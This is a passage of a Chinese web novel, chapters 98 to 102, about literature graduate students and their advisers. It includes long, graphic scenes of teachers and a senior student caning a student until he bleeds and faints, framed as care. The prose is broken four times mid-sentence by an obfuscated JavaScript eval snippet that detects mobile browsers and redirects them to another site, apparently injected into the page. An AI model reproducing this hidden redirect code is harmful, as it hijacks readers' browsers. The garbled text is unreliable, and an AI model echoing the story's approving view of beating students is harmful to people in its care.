开窗,空气不流动,更加憋闷。晚上还好,白天简直成了蒸笼。秦昭阳买了一个小吊扇放在房间里吹,可中午那段时间总热得流汗。柏阅冬好似全然不受影响,只是埋头写。秦昭阳生怕热坏了他,拿着把大蒲扇在旁边给他扇风,把自己累得手酸。 “这么快就出第二章了?连稿子都不用打?” 柏阅冬抬头,淡淡道:“稿子在脑子里。” 要不怎么说是做学术的料呢?他整理过的资料即使过了小半年,可他还是能记得牢固,甚至能自动分类,写论文的时候几乎不会卡壳,笔拿起来就有句子出来,连秦昭阳见了都要吃惊。 秦昭阳又欣慰又心疼,捋捋他额前汗湿的长发,道:“右边头发太长了,剪一点好不好?不然连左边的视线都要挡住了。” 柏阅冬沉默一会,点了点头。 于是这一晚,师母又进来给柏阅冬剪头发了。这回她试着比上次剪得更短一点,不知柏阅冬发觉了没有,总之没有什么反应。 剪短了的碎发尾刚好遮住右眼,柏阅冬左眼视野明显变开阔了。待师父师母都出去,他悄悄挪了秦嘉辰的挂镜来,高高仰起头,在镜子里看见右眼下面细碎的伤口。 那是热水壶内胆碎了之后割伤的,柏阅冬想起当时的场景,猛地打了一个冷颤。 他转过身,对着桌子上秦嘉辰的照片问:“我是不是,变丑了?” 照片中的女孩子笑得灿烂。 至于庄遂平,则是另一种状态。他那回去见了柏阅冬回来,对纪慎虽无什么改变,却也不由得想起自己的以后来。他选择退学,是真正将自己推入绝境,他的家是早已回不去的,没有毕业的硕士价值并不大,如果再别安排回老家,下半辈子必然要在嘲讽与责骂中度过。他唯一的选择只能是忍着读完硕士。 可是,他又没办法面对纪慎。 他只好尝试着自己去写论文,依靠他并不成熟的思路和少得可怜的经验。可是他一写论文,那些挨打和受辱的噩梦就会在夜晚来袭,几次过后,他几乎一想到论文就头痛。 在一个因为噩梦而困倦不堪的清晨,纪慎因为等不到他出来吃早餐而推门进了他的房间,只见他蜷身侧躺在床上,手捂着肚子,很不舒服的样子。纪慎本想叫他,却一眼抓住了放在桌上的稿纸,拿过来一瞧,竟是火冒三丈,怒道:“你写的什么东西?!” 98.第 98 章 刻着一颗麦穗的戒尺就放在床头桌上,如果细看,就会发现原本柔顺的流苏已经毛躁不堪,可气急之下的纪慎哪里注意得到?见有个打人的物件,一手抓起来,便对着庄遂平侧着的屁股抽了下去! 庄遂平本就惊惧不安,挨了这一下,整个人痛苦地蜷成一团,嘴里发出“呜呜”的声音。 “别在这儿给我装!起来!看看你写的都是什么狗屁?!”纪慎喝骂着,还要再打,却眼尖地抓住了他额上豆大的几颗汗珠。 “庄遂平?” “嗯……疼……”庄遂平呢喃着,拖着细细的哭腔,简直像只被主人抛弃的流浪猫。 纪慎放下戒尺,扶着他的肩膀:“醒醒!你哪里疼?” “屁、屁股,屁股疼……”庄遂平分不清梦境和现实,愈发挣扎起来,“不要打……不要打……” “没有打!才打了一下,怎么会疼?” 庄遂平呼吸急促,被纪慎硬生生扭过来的脸庞上净是汗珠,嘴唇没有一点血色,却还在喃喃道:“疼……好疼……” 纪慎真恨不得一个耳光抽醒他,可又不敢下手,犹豫片刻,还是把妻子叫了进来。 幸亏是周末,妻子不上班,否则连个照应的人都没有。女人见了床上那孩子的模样,淡淡道:“你先出去吧。” 纪慎巴不得不管,扭头就走。 女人走到床边,拿一块干净手帕擦了他脸上的汗,轻轻唤道:“遂平,醒醒。” 庄遂平“唔”了一声,侧着身,双膝顶着肚子,两手握成拳抵在胸口处,痛苦地吐出几个断断续续的字:“我疼……求求……不要……” 女人心疼地拍着他的背:“没事,没事了,不打你。” 庄遂平短暂地平息了一会,几秒后,他紧闭的眼角渗出一滴泪,嘴巴轻轻翕动,含糊地唤了一声。 “……老师。” 纪慎等不到庄遂平和妻子从房间出来,干脆去办公室写论文。放了暑假,学院安静许多,只有零星几个办公室里有人,小声地讨论着工作。纪慎打开门,进去坐下,抽出自己之前写了一半的论文,可憋了好久也只写了半句话,一点思路都没有。 满脑子都是庄遂平写出的那些狗屁不通的句子。 怎么会写成那样啊?纪慎靠在椅背上,轻轻闭上眼,抬手揉着皱成一团的眉心。 可一声熟悉的“纪老师”忽然传了进来。 纪慎睁开眼,看见门口的学生,还没揉平的眉心蹙得更深了。 “你来做什么?” 刘巍思站在门口,闷闷道:“不想在家呆着,就出来走一下,我也没想到您会在这里。” 纪慎真怕他又要说什么读博的事,只想赶紧让他走,可这死小孩居然不请自入,轻车熟路地在办公桌前坐下了。 就坐下了?我请你了吗? 可是刘巍思看上去心情也很差的样子,他还有点不忍心赶人。 俗话说怕什么来什么,纪慎战战兢兢间,果真听见他说:“纪老师,您真的不考虑收我读博士吗?” 纪慎活几十年了,头一次知道无言以对是什么感觉:“你、你、你怎么回事啊?” “我老师走了呀!出国了嘛!” 这件事知道的人不多,纪慎也懵懵的,听刘巍思解释完,恍然大悟,原来这小崽子是没老师了才想到他,可随即又被他气笑了:“你老师出个国,可没说辞职啊!他肯定还会回来的啊!” “您怎么知道他没辞职?” “废话!我是系主任啊!” 对哦,刘巍思傻乎乎地挠挠头,可还没高兴起来呢,又蔫了:“他现在没辞职,之后肯定会辞职的,那可是他亲生儿子,他们感情这么好……” 纪慎想想也是,没法反驳,可他也不能答应刘巍思啊!只得搪塞道:“等你老师的消息吧!你这一天到晚操心的,你就不跟你老师谈谈?” 按理说是要谈的,可是刘巍思多害怕呀!他宁可那个结局悄无声息地到来,也不愿意从老师嘴里听见那些话。 “算了,不想说了,纪老师您怎么又在这?” 真是哪壶不开提哪壶,纪慎在心里“啧”了一声:“我自己的办公室,我爱来就来。” “那遂平呢?” 纪慎几乎要疯了。刘巍思耷拉着个脑袋,看上去傻不拉几的,可是为什么每一个问题都能踩中纪慎的痛点?! “别给我提他!写的论文狗屁不通!” “哎?他写论文了?那您好好给他指导指导呀!” “我怎么指导?句子都写不通顺,有前言没后语的,请个小学老师来指导他差不多!” 刘巍思听了这话,有点为庄遂平打抱不平:“纪老师您怎么能这样啊?遂平是您的学生,您当然得指导他了!他要是什么都会,还读什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240996|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么书呀!” 纪慎冷哼一声:“说得轻松,他要是有你和柏阅冬一半,我就谢天谢地了!” “我和阅冬也不是什么都会呀!当年我老师开始教我的时候,我字都写不顺溜呢!老师还教我背诗,一首一首教……”刘巍思想起从前和老师坐在田垄上坐着背陶渊明的日子,空气中隐约传来禾稻的香气,令人沉醉不已。 “又想你老师了?” 当然想了,天天都想。刘巍思闷闷的,硬是把话题转了回去:“我就是想跟您说,别对遂平那么苛刻了,遂平多好啊,以前我老师经常夸他。再说了,他什么都不会才好呢!这样您教会他,多有成就感!别的学生好是好,可那是您教出来的吗?” 纪慎被他说得一愣一愣的,云里雾里地想起盛超来。盛超就好得很,什么都会,每次来交流,他只需要点拨一两句,非常轻松。可是盛超的文章发出去了,他也没什么感觉,心里明白那是盛超自己的东西,和他没多大关系。 可能就像刘巍思说的,那不是他教出来的。 纪慎笑了一下,语气也轻快不少:“说得头头是道,怎么不去跟严老师说?” “纪老师,就像我跟您说遂平的事说得一清二楚,但您自己却不明白一样,我和老师也是的。别人看上去觉得没什么,可是我自己却很迷惑,也很害怕。说得简单一点,这叫旁观者清,说得复杂一点,”刘巍思顿了顿,“爱会迷惑人的心智。” 纪慎心神一震。 他说,爱会迷惑人的心智。 刘巍思对严老师有爱,他可以理解,但是,他对庄遂平也有这东西吗? “不是,什么,你说,你说的那是……”纪慎都语无伦次了,“算了,不说了。” “您被我说中了。” “什么?” “您肯定是被我说中了呀!不然才没有这么大反应。”心里防线直接被击破,后来人称破防。 “行行行,随便你怎么说,”纪慎都被他气笑了,“我问你,你闹脾气的时候严老师怎么哄你的?” “说好听话呀,给我买我爱吃的,还会,还会抱着我……”说着声音就低了下去。 纪慎大手一抬,直接捂住了脸,这里有一件事是他能干得出来的吗? 刘巍思突然反应过来纪慎的真实意图,抬头道:“纪老师,如果您要哄遂平,就把你觉得最好的东西给他吧!” 99.第 99 章 纪慎想破了脑袋,想完了暑假余额也没想出来他最好的东西是什么。就在他日日为此绞尽脑汁的时候,严先生回来了。 那日刘巍思刚从外头回到家,气还没喘匀呢,开门声就传了进来。他一慌,以为贼上门了,脑子里迅速闪过无数个与小偷斗智斗勇的场景,然后见门一推,大师兄提着一个行李箱进来了。 “老师,慢点!”易堂生一瞧,刘巍思竟然在家,催促道,“来帮老师拿行李。” 刘巍思心“扑通扑通”的,都快跳出胸腔了,疑心自己是在做梦,老师回来了? 他脚步虚浮地走过去,把行李箱往里头挪了挪,再抬头,目光就对上了老师温和却略带冷淡的眼神。 严先生休了个假,精神看着比过去还好些,也不用人扶,自己就进了屋,转头淡淡道:“堂生,你辛苦了,先回去吧。” “我帮老师收拾吧。” “不用,你回去歇着吧。” 易堂生没有再争,鞠了一躬道:“老师,我先回去,您有事就给我打电话。”说罢,又严肃地看向刘巍思,“照顾老师,知道没有?!” “知、知道了。”刘巍思磕磕巴巴地回答,舌头都捋不直了。 易堂生一走,屋子就奇异地安静了下来。刘巍思低着头,不敢看老师,也不敢乱动。严先生同样没有收拾行李的意思,只深深地看了他一眼,转身回卧室去了。 长时间的飞行让严先生深感疲惫,时差也没有倒过来,急需休息。 刘巍思脚步一顿,跟了上去。 “老师。”刘巍思站在卧室门口,手足无措,“我、我来帮老师铺床吧!” “不用。” 不知道为什么,老师回来了,可刘巍思的恐惧却更深了,那种被抛弃的感觉比过去两个月要明显得多。 是因为老师太冷淡了吗? “我问你,你听到过电话铃响没有?” 刘巍思心头一颤,最害怕的问题就这么猝不及防地来了。他垂着头,低声回答:“听到过。” 严先生朝着他走了几步,到他跟前,压迫感如同山崩:“几次?” 刘巍思看着地板,眼睫毛一颤一颤的,额头上的汗慢慢渗了出来:“二十七次。” “啪”一声,刘巍思只觉得眼前一晃,比理智更早的是身体的反应,左脸火辣辣地烧起来,他忍不住抬手捂住,明显感觉到侧脸微微肿胀。 老师打了他一耳光。 “滚出去。” 刘巍思鼻尖一酸,退出了卧室。 没在老师眼皮子底下,刘巍思却变自觉了,走到客厅,找了个墙角就跪了,塌肩垂头,打不起一点精神。 跪了两三个小时,膝盖如同千万根针同时刺入,酸胀痛麻一起涌来,他不断挪动着,试图以此减轻膝盖和小腿的痛楚,可是收效甚微。就在他不断犹豫着要不要起身的时候,严先生出来了。 刘巍思听见脚步声,眼巴巴地转头望去,严先生也看了他一眼,淡淡的,没有说话,往厨房去了。 刘巍思咬咬牙,扶着墙站起来,跌跌撞撞地追向老师:“老师,老师……” 严先生恍若未闻,背对着他,平静地起锅烧水。 听着厨房里锅碗瓢盆的碰撞声,刘巍思顿感挫败。他不是没和老师闹过脾气,老师也不是没生过他的气,可是再怎么样,老师都不会不理他的。这样的情况,他真的不懂如何处理。 他再次跪下了,在厨房门口:“老师,我知道错了,我真的知道错了。” 厨房里只传来清脆的鸡蛋磕碰声和蛋壳“咔啦”裂开的声音。 家里没什么菜,严先生敲了两个鸡蛋,下了两碗挂面,不过十来分钟,就端着面出来了。走到门口看见瘫坐在门边失魂落魄的小孩,只是淡淡地看了他一眼,将碗放在小孩的位置上。 只是刘巍思一门心思想着怎么不让老师生气,也没注意到老师走了两趟,余光撇见老师拉开餐桌旁的椅子坐下时,甚至不敢说话。 桌上两碗面冒着热腾腾的白气,严先生默默叹气,筷子在碗里头搅了又搅,到底是夹起面条,“呼呼”吹凉一点,缓缓入口。 面条软烂,严先生吃得也快,不到十分钟,碗里就只剩下了面汤。只会惹人生气的小兔崽子还跪着,严先生气得咬牙,忍着怒火道:“吃完了收拾!”说罢便起身回房去了。 刘巍思一惊,不可思议地抬头:老师还给他做了吃的吗?艰难地起身,看着那碗满满的面和上头摊着的荷包蛋,眼眶一点一点湿了。 刘巍思扶着餐桌边缘挪过去坐下,面条已经不烫了,夹起来就能入口。严先生做饭比较清淡,有点像南方人的口味,刘巍思以前是吃不惯的,可是这么多年也慢慢习惯了。 吃了两口面,还没完全吞下去,眼泪就掉下来了。刘巍思不知怎么的,憋了一天的泪水突然就憋不住了,“哇”一声哭了出来,抱着个碗放声嚎啕,咸腥的眼泪全掉了面汤里。 严先生站在卧室门口,看着小孩大哭的身影,眸光暗暗。 第二天一早,严先生刚从卧室出来就被吓了一跳,那死小孩正两手捧着教鞭跪在过道上,手举得高高的,见老师出来,忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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此后每天都是这样,刘巍思日日跪着求罚,严先生却一如既往地冷淡。有一回严先生从书房出来,正看见墙角的小孩坚持不住,手臂一弯把竹鞭摔在了地上。小孩原本正揉着手臂,委屈得不得了,一看到他,通红的眼睛里立刻添了一抹恐惧,忙咬牙把竹鞭捧了起来。 “你闹够没有?” 刘巍思请罚的热情已经褪去,萎靡不振:“我知道错了。” “你第一次不接电话的时候就应该知道自己错了,我给了你二十六次机会。” “是,是我的错。” 好巧不巧,今日易堂生正好来看老师,进门来看见这阵仗,还没跟老师打招呼就对着刘巍思劈头盖脸地骂:“你又做什么不得消停的事惹老师生气了?!” 严先生还是淡淡的,不似从前一见大弟子生气就要拦着,反而道:“正好,我也打不动他了,堂生你替我打吧。” 100.第 100 章 刘巍思是不太敢相信听进耳朵里的话的。从前大家一起开会说论文时,散会之后大师兄也有几次留下来替老师教训他,可是除了文章之外的事,老师是很少这样说的。 堂生你替我打吧。 听上去,他已经不值得老师动手了。 严先生撂下那句话就转身回了书房,易堂生尽职尽责,大步过去提起竹鞭往沙发扶手上一敲:“还不过来?!” 刘巍思抬手抹了即将涌出眼眶的泪水,起身走到扶手边,没有什么犹豫就褪了裤子,上身往前倾,伏在扶手上。 臀部高高地撅起,如同他心中不为人知的委屈。 易堂生还不知是什么事,也不过问,扬起竹鞭就“啪”地抽下去,臀部瞬间浮起一道血红鞭痕,刘巍思咬着牙,猛地闭紧了眼睛,没有喊出声。 紧接着,竹鞭如同夏日急雨,接二连三抽了下来,“啪啪啪”地在房子里震响。刘巍思被打得屁股一缩一缩的,疼得要命,却不敢躲,也不敢出声喊,只是默默地委屈,流眼泪。 竹鞭狠戾,不过二三十下就把屁股抽满了红痕,再打下来就是叠在新鲜的伤痕上,疼痛更是指数般上升,刘巍思没东西可抓,只能紧紧握住拳头,在即将忍不住要哭喊出声时,直接把拳头塞进了嘴里,眼泪淌下来,从嘴唇和拳头的缝隙中渗进嘴里,咸咸的。 恐惧、委屈、不安和疼痛混杂在一起,就跟这眼泪一样,咸,苦,涩,腥,刘巍思越来越忍不住,可还没有放开拳头,口水先把自己呛住了,不住猛咳起来,连带着挨打的姿势也歪了。 易堂生可不会在这个时候心疼他,喝道:“趴好!” “师兄咳咳咳……我疼……疼啊……” “犯错的时候怎么不知道疼?这么多年挨多少打了?永远学不乖是不是?” 刘巍思哭着摇头:“我不敢了,我真的不敢了,我知道错了,我真的知道错了,师兄唔……” 易堂生耐心尽失,等不到他自己趴好,干脆上手按住他的腰,提着教鞭“噼里啪啦”就抽,疼得刘巍思扭着身子提着腿,拼命地折腾躲避。 “啪!” “啊!”这一下抽在刘巍思腿上,刘巍思被这意料之外的疼痛逼得差点咬掉舌头。 易堂生将竹鞭一端抵在他膝窝:“你再乱动,我就打断你的腿!” “不要师兄……我不动,我不动了!” 说到做到,虽然还在哭,可刘巍思还真的慢慢趴了回去。再度撅起的屁股布满了一道道红棱,高高地肿起来,吓人得很。 “啪!”易堂生没有给他休整的时间,见他一趴好,竹鞭立刻抽了下去。刘巍思“呜”了一声,委屈得让人心都揪了起来。 “老师说打多少?” 刘巍思抬手擦了脸上的眼泪,抽噎道:“老师没说。” “那你自己说。” “我不敢说,大师兄要打多少,我都挨,但是……” “但是什么?” “但是大师兄能不能跟老师说,”刘巍思哭得眼睛痒痒的,难受极了,“让老师别生我的气了?” “啪!”突然的一鞭让刘巍思差点跳脚,易堂生骂道:“受罚的时候不想着反省,在这里想老师生不生气。你这个样子,老师怎么能不生气?!不长进的东西!”话毕,扬起竹鞭,兜风抽了下去,“啪啪啪啪”的,连打了二十多下,打得刘巍思不住哭叫求饶,连血痕都打出来了。 眼看着师弟都快虚脱了,易堂生放下竹鞭,进书房跟老师报告去了。 严先生坐在书桌后,眼睛看着书,耳朵却一直听着外头的动静,听大弟子说打了不少,只是微微抬眸:“最多不过七十下。你教训他的时候,上百下也是有的,怎么替我教训他就打不动了?” 易堂生愕然,一是老师竟数着责打的数目,二是老师是真铁了心要收拾巍思了。 还不等他说话,严先生又冷冷地下了指令:“再打,打到他知错为止。” 易堂生有心问问巍思到底犯了什么错让老师这么生气,可是见老师如此漠然,他也不敢多嘴,只点头道了声是,便退了出去。 外头刘巍思还是趴着,沉淀了一会的伤处颜色已不那么鲜艳,而是泛起了暗沉的紫色。一道道细细的血痕密布其上,尖锐的竹鞭再打上去,必然是要见血了。 易堂生向来严厉得不近人情,仅有的一点温情都给了这个师弟。虽说教训他时下手没有轻的,可是伤到一定地步,他也会不忍心。 还要打,还得疼,他只能尽量让师弟少受点罪。 易堂生揉了揉他的脖子,沉声道:“老师还在生气,要重打。” 刘巍思声音虚弱:“我知道,师兄打吧,我撑得住。” 易堂生暗叹,拿起竹鞭,对着臀尖那处,“啪”一声抽了下去。 刘巍思疼得五官皱成一团,一声呜咽堵在喉咙里,没有发出。 可是下一鞭,仍旧“啪”一声落在臀尖,刘巍思的短指甲深深掐进了手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15252108|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里:“呜……” 连挨了两鞭的臀尖已经渗出了血珠,易堂生怕他撑不住,先按住了他,随后扬起教鞭,“啪”地抽了下去。 “啊!”刘巍思的惨叫冲破喉咙,充斥了整个房子,原本低垂的脖颈猛地向后仰起,满头的细汗撒了一片。 臀尖那道两指宽的鞭痕深红透紫,已经有四五处渗出血珠了。刘巍思缓了好几秒才恢复清醒,感觉到师兄仍要打那处,顾不得什么规矩,只拼命挣扎起来:“不要,师兄,换个地方打,不要打那里!求求师兄!呜我求您了师兄,好疼!真的好疼!” 易堂生手上又添了两分力,将他的腰按得更紧,对准那道伤继续抽了下去。 “啊!!老师救我!!老师呜呜呜……不要打,我知道错了,我真的知道错了,求求师兄!” 刘巍思叫得撕心裂肺,可书房里的人还没有出来的迹象,易堂生被夹在中间,有点不知改如何继续。接着打那处,肯定臀尖都要打烂了,可换个地方打,也只是让小孩受更多苦而已。 刘巍思还在求饶:“……呜呜……不要打了,师兄,我好怕,我屁股是不是烂了?出血了!我知道错了!” 易堂生咬咬牙,决定狠心接着打,握紧了手上的竹鞭,扬起之后“啪啪啪”地在臀尖处落了好几下,刘巍思一叠声的惨叫之后,眼前一黑,直接晕了过去。 一颗饱满的血珠从臀尖上滑了下来。 易堂生放下竹鞭,把人扶起来,半拖半抱弄进了房里。 刘巍思晕晕乎乎的,意识空白,不知道时间过了多久,也不知道身边有没有人,只是呼吸浑浊的时候感觉到一只熟悉的大手轻轻地抚上了自己的额头。 与此同时,柏阅冬已经写到了论文的最后一章,连秦昭阳都有点惊讶于他的速度:“怎么这么快?” “写完了,可以早点毕业吗?” 秦昭阳知道他的心思,现在这个样子,小孩肯定不愿意和他的同学一起答辩和毕业,于是道:“师父去问问纪老师和童院长,看看能不能单独给你办个答辩会。” 柏阅冬抿着嘴,点了点头。 “你也别写这么快了,累着自己。” “反正也没别的事。” 秦昭阳笑了笑:“写完也好,可以想想读博的时候研究什么。” 柏阅冬没有回应,师徒俩各自若有所思。一个想着,这回去找童院长,正好问问童院长收博士的事,一个想着,这个样子,大约是没有博士读了。 101.第 101 章 童院长的办公室在五楼,比普通老师的办公室要大得多,宽大的皮质沙发放在办公桌一侧,秦昭阳坐上去的时候都有些局促不安。 秦昭阳说了柏阅冬的情况和他的请求,童院长表示理解,并道:“阅冬的情况我们也都了解,提前答辩、单独答辩也都是可以操作的,但是答辩毕竟要好几个老师,这周开会的时候我提出来讨论一下,看看怎么解决。” 答应到这份上,应该是没有什么问题了。秦昭阳明显松了一口气。 童院和严先生一样,经历了不少风霜雨雪,可一想到那孩子的遭遇,仍旧忍不住感叹:“阅冬苦,好好的一个孩子,唉……不过他现在愿意写文章,以后也会好起来的。小孩子毕业之后什么打算呢?” 问到点子上了。 秦昭阳看着童院,眸色复杂:“童院,您知道他的,他是做学术的料子,读博是最好的出路,可是我……” 童院长点点头:“确实,你现在还不能带博士,不过博导嘛,咱们也是有的,阅冬想跟着谁?我去说说。” 大家都会这么说,他是好苗子,有什么事我可以帮忙。但谁也不会主动提,让他跟着我吧。 秦昭阳已经大约知道童院的想法,可是为了柏阅冬,他无论如何要争取:“童院长,我知道您每年都有博士的招收名额,您……” “昭阳,咱们专业都不同,我怎么招他?” 这就有点自欺欺人了,古代文学和文献学虽然是不同专业,但实际操作起来,谁也离不开谁,纪慎就是一个最好的例子。 “童院,文献是文学的基础,现在不是流行做什么文学文献学?阅冬的文献基础虽然不扎实,但是我会带他的,不会给您添麻烦的!” 童院长叹了声气,额上的皱纹每一道都刻着烦恼:“昭阳,你知道,我这个位置,我的博士将来是要、要接班的呀!阅冬他……” 他一个瞎子,怎么坐得住这个位置? “童院,我没有想过让他接什么班,您这么大年纪,早已是桃李满天下,接班人一抓一大把,柏阅冬就给您当个普普通通的小弟子,挂名在您这里,课程和论文我来指导,您只需要给他签字,很省事的!” “什么接班人一抓一大把,你看看我那些学生,有一个成器的吗?你以为谁都有煦和的运气?随便一个学生都能顶事。我也不瞒你说,我这么大年纪了,没两年就要退下来,学生也收不了几个了,我现在,唉,不是拒绝你,我收哪个学生都要很谨慎的呀!一不小心,几年的心血折进去,竹篮打水一场空……” 拒绝的话说了几箩筐,看着秦昭阳失落的神情,童院长也不好意思似的,补充道:“你也别这么消沉,总还有办法的,煦和就很好呀,他有了巍思,不用像我一样担心将来的事。他又是个了解阅冬心疼阅冬的,交给他不比交给我放心?” 秦昭阳无奈地点点头:“我知道,我也考虑过严老师的,可是他、他之前被停了招生资格,我担心……再说了,还有刘巍思在前头,就算他愿意收阅冬,阅冬也得再等一年,我怕那一年,阅冬就……” “别瞎担心,煦和也就停这一年硕士招生,明年一切都会恢复正常的。阅冬现在都能写文章了,不会有事的。” 安慰不痛不痒,但秦昭阳也不能真指着人家鼻子说你放屁,只是苦涩地笑了笑,道声再见,离开了院长办公室。 为着柏阅冬答辩的事,童院长在几天后召集古代文学专业的师生开了个会。除了秦昭阳师生和情绪不稳定的庄遂平,剩下的人都来了,包括姜新宇。 专业里不少人都有很长一段时间没见过他了,新来的硕士博士之前听说了些跟他有关的事,他一出现,大家便都窃窃私语起来。 姜新宇低着头,并没有说话。 刘巍思发着低烧,咬牙坐在外围的木椅子上,冷汗一颗颗从额上冒出来。 见大家来齐,童院长便说了柏阅冬的事,问问大家的看法。纪慎道:“可以的,咱们几个,再加两个年轻教师,给他开一间会议室,很简单。” “不行,”严先生道,“冬冬不愿意出门,也不肯见人。” “答辩肯定得见人呀!”童院长两手一摊,“他要是不肯出门,咱们上昭阳家里去,到这份上,阅冬不肯出来那就没办法了。” 年轻教师和博士们纷纷附和着,是啊,他要答辩肯定得出面啊。 纪慎手指敲敲桌面,示意大家安静:“这件事就让昭阳去说吧,我后续和昭阳讨论一下答辩时间,再通知各位。” “还有一个问题,”严先生道,“答辩需要一个记录人,一般是他们的师弟师妹去,现在研二的学生里去一个。” 研二的学生,盛超,肖晚亭,姜新宇。 按理说肖晚亭是最合适的,可是柏阅冬这么长时间都没见过她,之前也算不上有交情,大家都很怕柏阅冬情绪不稳定突然发作,到时候什么答辩什么论文都没了。 “严老师,会不会还是让跟阅冬比较熟的人去好一点?不非得是师弟师妹呀!”纪慎道。 严先生正思索着,忽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15255203|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到一声:“可以让我去吗?” 众人齐齐望去,开口的竟是姜新宇。姜新宇消失了几个月,现下已不复当时的意气风发,反而畏畏缩缩战战兢兢。大家不禁交头接耳,揣测着他的动机。 “他是要去刺激柏阅冬吗?” “他怎么好意思说啊?” “不会幡然悔悟了吧?” “真是好笑……” 姜新宇好似知道别人在说什么,难堪地低下了头,再没有出声。刘巍思看着他,心中五味杂陈,举手道:“我去吧。” 这回大家就没有异议了,纪慎却笑道:“巍思你这是怎么了?声音哑成这个样子。” 是哑得厉害,刘巍思觑了老师一眼,见老师仍是淡淡的没有什么表情,眼神蓦然暗了,低声道:“有点感冒。” 纪慎没有再问,老师们又讨论了些别的事情,这才散会。 一散会,严先生就在走廊上和姜新宇说了会话。刘巍思走得慢,像乌龟腾挪似的到了老师身边,听见姜新宇道:“我没有恶意的。” “老师知道,但你现在也先不要去见阅冬吧,等以后他情绪好一些了,再找个机会吧。” 姜新宇点了点头:“我明白。” “研二了,要开始想毕业论文研究什么了,有想法的话就来找老师吧。” “是,我知道。” 聊了几句严先生便走了,余光瞥见刘巍思咬牙跟在身侧,不由得放慢了脚步。 易堂生不知是找老师有事还是担心刘巍思,匆匆忙忙从后头追了上来:“老师,学生送您回去。” 严先生不置可否,转了个弯下楼梯。 下楼的速度也比平常慢了,但刘巍思那样的重伤,根本扛不住,才往下走了两三阶,一只脚刚要继续踩下去,却扯着屁股的伤,感觉臀尖整道伤口都裂了,“啊”一声从楼梯上滚了下去。 这一滚更不得了,屁股严严实实压在台阶的边缘,疼得他眼前直冒金星,好容易在一阶台阶上停下来,还没清醒呢,就感觉楼梯上前前后后的人都在看他。 易堂生顾不上老师的脸色,忙去扶起师弟:“巍思,还能不能站起来?” 刘巍思疼得满眼都是泪,偏偏碍于面子,不敢掉下一滴。听师兄这么问,也只是摇了摇头。 严先生走下来,道:“可能扭到脚了,堂生扶他回去。” “是,老师。” 周围人看易堂生扶着刘巍思小心翼翼地走了,又看严先生一脸凝重,不敢当场议论,赶紧下楼走了。 102.第 102 章 走平地还勉强可以,可到了宿舍楼下,抬头望着那段楼梯,刘巍思眼泪“唰”一下就淌下来了。易堂生还在犹豫怎么把他弄上去,严先生就走过来了:“背他上去吧。” “是。”易堂生放下刘巍思的手臂,让他自己站着,随后走到他面前,弯下腰,“上来吧。” 刘巍思抹了眼泪,轻轻往大师兄背上倾下。易堂生正是身强体健的年纪,背个人不成问题。可饶是如此,刘巍思还是不敢将全身的重量压上去,竭力撑着上半身,试图减轻大师兄的负担。 严先生走在前面,上楼开门,易堂生跟在后面,很快将师弟送进了房里。一趴到床上,刘巍思的眼泪又忍不住了,“呜呜”地哭了起来。 易堂生拍拍他的肩,道:“裤子脱了,看看伤。” 那日的伤十分厉害,刘巍思被打晕过去不说,后来因为没有及时清理,整个人就烧了起来,几天过去,高烧低烧没停过,伤口好容易结了痂,今天这一摔,估计又裂了。 刘巍思尝过裤子沾了血黏在皮肉上又被撕开的痛苦,根本不想再体会一次,连连摇头:“不要,不要看……” “不看怎么行?你还想感染发烧是不是?”虽然是关心的话,可语气过于严厉,听上去更像责备。 刘巍思眼泪流了一脸,哭道:“我自己看,我自己看,师兄别碰!” “师兄轻一点,你别动,听话。” “不要!不要!”感觉到大师兄要脱自己的裤子,刘巍思硬是躺了下去,说什么也不给他碰,幸亏床铺是软的,还不至于太痛苦。 就在易堂生拿他没办法的时候,严先生进来了,板着脸,径直走到床头。刘巍思泪眼婆娑,直勾勾地盯着老师,可老师没说话,像是准备好了似的,弯下腰托住他的肋下,一把将他上身提了起来:“堂生,脱了。” “是。”易堂生应了一声,怕老师坚持不住,扯着刘巍思两边裤头,猛地往下一扯。 “啊!!”果真是伤口裂开再次出血,裤子黏在伤处,扯下时疼得刘巍思眼前一黑,恨不得直接晕过去。 严先生平静地放下小孩,出去了。 刘巍思这会可没时间关注老师的去向,半死不活地趴在床上,任由大师兄又量体温又上药,昏昏沉沉的,竟是睡了过去。 易堂生折腾了老半天才结束,轻轻带上门出去了。严先生正坐在客厅喝茶,见他出来,招呼他过来坐。 